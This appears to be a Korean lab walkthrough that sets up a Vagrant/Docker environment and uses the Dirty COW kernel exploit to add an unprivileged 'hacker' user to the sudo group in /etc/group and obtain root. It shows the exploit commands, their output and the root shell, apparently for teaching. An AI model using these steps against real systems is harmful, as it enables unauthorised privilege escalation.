
dirtycow 취약점을 악용하여 root로 로그인하기
먼저 프로젝트를 클론합니다
git clone https://github.com/BrolyCode/Dirty-Cow.git
폴더로 이동합니다
cd Dirty-Cow
그런 다음 다음 명령으로 환경을 실행합니다
vagrant up
서버가 구축되면 SSH로 접속합니다
vagrant ssh
root 사용자로 변경합니다
sudo -i
이제 해커로 로그인할 수 있습니다
docker exec -it -u hacker nginx bash
로그인한 디렉토리에는 다음 파일들이 있습니다
drwxrwxrwt 2 root root 4096 Nov 26 11:10 .
drwxr-xr-x 41 root root 4096 Nov 26 11:10 ..
-rwxr-xr-x 1 root root 9880 Nov 26 04:52 dirtyc0w
-rwxrwxrwx 1 root root 9880 Nov 26 04:52 dirtyc0w.c
/etc/group 파일을 cat하면 다음과 같이 표시됩니다
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....
root로 로그인을 시도할 수 있습니다
sudo -i
하지만 시스템이 거부할 것입니다. 접근 권한이 없기 때문입니다. 이제 /etc/group의 취약점을 악용하겠습니다
./dirtyc0w
터미널에 다음과 같이 출력됩니다. 잠시 기다려야 합니다 (2~3분)
mmap 7fd0facf4000
madvise 0
procselfmem 1500000000
그런 다음 /etc/group을 다시 cat합니다
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...
root로 로그인
sudo -i
root@27862a2f9973:~#
호스트 머신의 터미널로 돌아가서 vagrant destroy를 실행합니다